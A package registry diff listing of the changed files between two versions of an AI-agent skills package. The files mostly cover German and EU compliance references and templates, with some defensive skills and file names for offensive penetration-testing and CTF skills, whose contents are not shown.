@aegis-scan/skills 0.4.0 → 0.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (386) hide show
  1. package/ATTRIBUTION.md +204 -0
  2. package/CHANGELOG.md +48 -3
  3. package/package.json +1 -1
  4. package/sbom.cdx.json +1 -1
  5. package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
  6. package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +1080 -0
  7. package/skills/compliance/aegis-native/brutaler-anwalt/HANDOVER-LO-LIVE-VERIFICATION-2026-05-15.md +187 -0
  8. package/skills/compliance/aegis-native/brutaler-anwalt/LICENSE +43 -0
  9. package/skills/compliance/aegis-native/brutaler-anwalt/README.md +242 -0
  10. package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +427 -14
  11. package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
  12. package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
  13. package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
  14. package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
  15. package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
  16. package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
  17. package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
  18. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
  19. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
  20. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
  21. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
  22. package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
  23. package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
  24. package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +63 -9
  25. package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +1581 -10
  26. package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
  27. package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +323 -31
  28. package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +610 -1
  29. package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +107 -1
  30. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
  31. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
  32. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
  33. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
  34. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
  35. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
  36. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
  37. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
  38. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
  39. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
  40. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
  41. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
  42. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
  43. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
  44. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
  45. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
  46. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
  47. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
  48. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
  49. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
  50. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
  51. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
  52. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
  53. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
  54. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
  55. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
  56. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
  57. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
  58. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
  59. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
  60. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
  61. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
  62. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
  63. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
  64. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
  65. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
  66. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
  67. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
  68. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
  69. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
  70. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
  71. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
  72. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
  73. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
  74. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
  75. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
  76. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
  77. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
  78. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
  79. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
  80. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
  81. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
  82. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
  83. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
  84. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
  85. package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +81 -8
  86. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
  87. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
  88. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
  89. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/paragraphs.md +62 -0
  90. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
  91. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/paragraphs.md +85 -0
  92. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
  93. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/paragraphs.md +112 -0
  94. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
  95. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/paragraphs.md +71 -0
  96. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/articles.md +182 -0
  97. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
  98. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +111 -0
  99. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
  100. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
  101. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
  102. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
  103. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
  104. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
  105. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
  106. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
  107. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
  108. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
  109. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
  110. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
  111. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
  112. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
  113. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +134 -0
  114. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
  115. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
  116. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
  117. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
  118. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
  119. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
  120. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
  121. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
  122. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
  123. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
  124. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
  125. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
  126. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
  127. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
  128. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
  129. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
  130. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
  131. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/paragraphs.md +61 -0
  132. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
  133. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/INDEX.md +93 -0
  134. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
  135. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
  136. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
  137. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
  138. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
  139. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
  140. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
  141. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
  142. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
  143. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +68 -0
  144. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
  145. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
  146. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +185 -0
  147. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
  148. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
  149. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/paragraphs.md +57 -0
  150. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
  151. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
  152. package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +137 -9
  153. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +122 -0
  154. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
  155. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/mistral-eu.md +123 -0
  156. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/openai-dpa.md +120 -0
  157. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
  158. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
  159. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
  160. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
  161. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
  162. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/nextauth-tom.md +120 -0
  163. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/supabase-auth-tom.md +104 -0
  164. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
  165. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
  166. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
  167. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
  168. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
  169. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
  170. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
  171. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
  172. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
  173. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
  174. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
  175. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
  176. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
  177. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
  178. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
  179. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
  180. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
  181. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/proxy-csp-pattern.md +93 -0
  182. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/payment/stripe-pci-tom.md +121 -0
  183. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
  184. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
  185. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
  186. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
  187. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
  188. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
  189. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
  190. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
  191. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
  192. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
  193. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
  194. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/plausible-pattern.md +107 -0
  195. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
  196. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
  197. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
  198. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
  199. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
  200. package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
  201. package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
  202. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/AffiliateDisclaimer.tsx.example +54 -0
  203. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/COMPLIANCE-AUDIT-TRAIL-template.md +95 -0
  204. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSE-Section-UGC.md.example +77 -0
  205. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +156 -0
  206. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/LostFoundReportForm-consent.tsx.example +126 -0
  207. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/README.md +33 -0
  208. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/UmamiScript.tsx.example +64 -0
  209. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
  210. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template.md +60 -0
  211. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/data-retention-cron.ts.example +52 -0
  212. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/data-retention-workflow.yml.example +47 -0
  213. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/proxy-strict-dynamic.ts.example +80 -0
  214. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/security.txt.example +26 -0
  215. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
  216. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
  217. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
  218. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
  219. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
  220. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
  221. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
  222. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
  223. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
  224. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
  225. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +262 -0
  226. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
  227. package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
  228. package/skills/defensive/aegis-native/rls-defense/SKILL.md +85 -0
  229. package/skills/defensive/permoon-fork/README.md +40 -0
  230. package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
  231. package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
  232. package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
  233. package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
  234. package/skills/foundation/aegis-native/aegis-module-builder/SKILL.md +5 -1
  235. package/skills/foundation/aegis-native/aegis-orchestrator/SKILL.md +87 -4
  236. package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +69 -9
  237. package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
  238. package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
  239. package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
  240. package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
  241. package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
  242. package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
  243. package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
  244. package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
  245. package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
  246. package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
  247. package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
  248. package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
  249. package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
  250. package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
  251. package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
  252. package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
  253. package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
  254. package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
  255. package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
  256. package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
  257. package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
  258. package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
  259. package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
  260. package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
  261. package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
  262. package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
  263. package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
  264. package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
  265. package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
  266. package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
  267. package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
  268. package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
  269. package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
  270. package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
  271. package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
  272. package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
  273. package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
  274. package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
  275. package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
  276. package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
  277. package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
  278. package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
  279. package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
  280. package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
  281. package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
  282. package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
  283. package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
